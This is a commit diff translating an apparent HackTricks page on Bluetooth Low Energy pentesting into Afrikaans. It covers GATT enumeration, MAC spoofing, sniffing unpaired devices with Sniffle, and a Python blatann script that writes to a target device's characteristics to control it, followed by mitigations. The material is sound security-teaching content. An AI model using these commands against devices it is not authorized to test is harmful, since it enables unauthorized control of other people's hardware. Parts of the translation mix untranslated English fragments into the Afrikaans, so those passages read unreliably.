Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene

This commit is contained in:
Translator 2025-08-28 14:38:37 +00:00
parent 7981051675
commit 44b0ebf9a4

View File

@ -4,21 +4,21 @@
## Inleiding
Beskikbaar sedert die Bluetooth 4.0 spesifikasie, gebruik BLE slegs 40 kanale, wat die reeks van 2400 tot 2483.5 MHz dek. In teenstelling hiermee gebruik tradisionele Bluetooth 79 kanale in dieselfde reeks.
Beskikbaar sedert die Bluetooth 4.0 spesifikasie, gebruik BLE slegs 40 kanale wat die omvang van 2400 tot 2483.5 MHz dek. In teenstelling gebruik tradisionele Bluetooth 79 kanale in dieselfde reeks.
BLE toestelle kommunikeer deur **advertensie pakkette** (**beacons**) te stuur, hierdie pakkette versprei die bestaan van die BLE toestel na ander nabygeleë toestelle. Hierdie beacons **stuur soms data** ook.
BLE-toestelle kommunikeer deur **advertising packets** (**beacons**) te stuur; hierdie pakkette stuur die bestaan van die BLE-toestel na ander nabygeleë toestelle uit. Hierdie beacons stuur soms ook **send data**.
Die luistertoestel, ook genoem 'n sentrale toestel, kan op 'n advertensie pakket reageer met 'n **SCAN versoek** wat spesifiek na die advertensie toestel gestuur word. Die **antwoord** op daardie skandering gebruik dieselfde struktuur as die **advertensie** pakket met bykomende inligting wat nie op die aanvanklike advertensie versoek kon pas nie, soos die volle toestelnaam.
Die luistertoestel, ook 'n central device genoem, kan op 'n advertising packet reageer met 'n **SCAN request** wat spesifiek na die adverterende toestel gestuur word. Die **response** op daardie scan gebruik dieselfde struktuur as die **advertising** packet met addisionele inligting wat nie op die aanvanklike advertising request gepas het nie, soos die volledige toestelnaam.
![](<../../images/image (152).png>)
Die preamble byte sinkroniseer die frekwensie, terwyl die vier-byte toegang adres 'n **verbinding identifiseerder** is, wat gebruik word in scenario's waar verskeie toestelle probeer om verbindings op dieselfde kanale te vestig. Volgende bevat die Protokol Data Eenheid (**PDU**) die **advertensie data**. Daar is verskeie tipes PDU; die mees algemeen gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die **ADV_NONCONN_IND** PDU tipe as hulle **nie verbindings aanvaar nie**, en stuur slegs data in die advertensie pakket. Toestelle gebruik **ADV_IND** as hulle **verbinding toelaat** en **stop met die stuur van advertensie** pakkette sodra 'n **verbinding** gevestig is.
Die preamble-byte sinkroniseer die frekwensie, terwyl die vier-byte access address 'n **connection identifier** is, wat in scenario's gebruik word waar meerdere toestelle probeer om verbindings op dieselfde kanale te vestig. Verder bevat die Protocol Data Unit (**PDU**) die **advertising data**. Daar is verskeie soorte PDU; die mees gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die **ADV_NONCONN_IND** PDU-tipe as hulle **dont accept connections**, en stuur slegs data in die advertising packet. Toestelle gebruik **ADV_IND** as hulle **allow connections** en **stop sending advertising** packets sodra 'n **connection** gevestig is.
### GATT
Die **Generiese Attribuut Profiel** (GATT) definieer hoe die **toestel data moet formateer en oordra**. Wanneer jy 'n BLE toestel se aanval oppervlak analiseer, sal jy dikwels jou aandag op die GATT (of GATTs) konsentreer, omdat dit is hoe **toestelfunksionaliteit geaktiveer word** en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys 'n toestel se eienskappe, beskrywings en dienste in 'n tabel as of 16- of 32-bits waardes. 'n **Eienskap** is 'n **data** waarde wat **gestuur** word tussen die sentrale toestel en die perifere toestel. Hierdie eienskappe kan **beskrywings** hê wat **bykomende inligting oor hulle verskaf**. **Eienskappe** word dikwels **gegroepeer** in **dienste** as hulle verband hou met die uitvoering van 'n spesifieke aksie.
Die **Generic Attribute Profile** (GATT) definieer hoe die **device should format and transfer data**. Wanneer jy 'n BLE-toestel se attack surface ontleed, sal jy dikwels jou aandag op die GATT (of GATTs) fokus, want dit is hoe **device functionality gets triggered** en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys 'n toestel se characteristics, descriptors, en services in 'n tabel as óf 16- óf 32-bits waardes. 'n **Characteristic** is 'n **data** waarde wat **sent** word tussen die central device en peripheral. Hierdie characteristics kan **descriptors** hê wat **provide additional information about them**. **Characteristics** word dikwels **grouped** in **services** as hulle verwant is tot die uitvoering van 'n spesifieke aksie.
## Enumerasie
## Enumeration
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** stel in staat om 'n **verbinding** met 'n ander toestel te **vestig**, die toestel se **kenmerke** op te lys, en sy eienskappe te lees en te skryf.\
GATTTool kan 'n interaktiewe skulp met die `-I` opsie begin:
**GATTool** laat toe om 'n **connection** met 'n ander toestel te **establish**, daardie toestel se **characteristics** te lys, en sy eienskappe te lees en te skryf.\
GATTTool kan 'n interaktiewe shell met die `-I` opsie begin:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing en aktief beheer van ongepaarde BLE-toestelle
Baie lae-koste BLE-perifere dwing nie pairing/bonding af nie. Sonder bonding word die Link Layer-enkripsie nooit geaktiveer nie, sodat ATT/GATT-verkeer onversleuteld is. 'n Off-path sniffer kan die verbinding volg, GATT-operasies dekodeer om characteristic handles and values te leer, en enige nabygeleë host kan dan koppel en daardie writes herhaal om die toestel te beheer.
### Sniffing met Sniffle (CC26x2/CC1352)
Hardeware: 'n Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Groups Sniffle firmware.
Installeer Sniffle en sy Wireshark extcap op Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Flits Sonoff met Sniffle firmware (maak seker jou seriële apparaat ooreenstem, bv. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Neem op in Wireshark via die Sniffle extcap en pivot vinnig na staatveranderende skryfoperasies deur te filter:
```text
_ws.col.info contains "Sent Write Command"
```
Hier beklemtoon ATT Write Commands vanaf die client; die handle en value map dikwels direk na toestelaksies (bv. write 0x01 na 'n buzzer/alert characteristic, 0x00 om te stop).
Sniffle CLI vinnige voorbeelde:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternative sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin werk ook. Op klein/goedkoop Nordic dongles oorskryf jy gewoonlik die USB bootloader om die sniffer firmware te laai, so jy hou óf n toegewyde sniffer dongle óf jy het n J-Link/JTAG nodig om die bootloader later te herstel.
### Aktiewe beheer via GATT
Sodra jy n writable characteristic handle en value uit die sniffed traffic geïdentifiseer het, koppel as enige central en voer dieselfde write uit:
- Met Nordic nRF Connect for Desktop (BLE app):
- Kies die nRF52/nRF52840 dongle, skandeer en koppel aan die target.
- Blaai deur die GATT-databasis, lokaliseer die target characteristic (dikwels het dit n friendly name, bv. Alert Level).
- Voer n Write uit met die sniffed bytes (bv. 01 om te aktiveer, 00 om te stop).
- Outomatiseer op Windows met n Nordic dongle deur Python + blatann te gebruik:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Operasionele notas en mitigasies
- Gee voorkeur aan Sonoff+Sniffle op Linux vir robuuste kanaalspring en verbindingsopvolging. Hou 'n ekstra Nordic sniffer as rugsteun.
- Sonder pairing/bonding kan enige nabygeleë aanvaller writes waarneem en hierdie writes replay of hul eie craft na nie-geauthentiseerde, writable characteristics stuur.
- Mitigasies: vereis pairing/bonding en dwing enkripsie af; stel characteristic permissions om authenticated writes te vereis; minimaliseer nie-geauthentiseerde writable characteristics; valideer GATT ACLs met Sniffle/nRF Connect.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}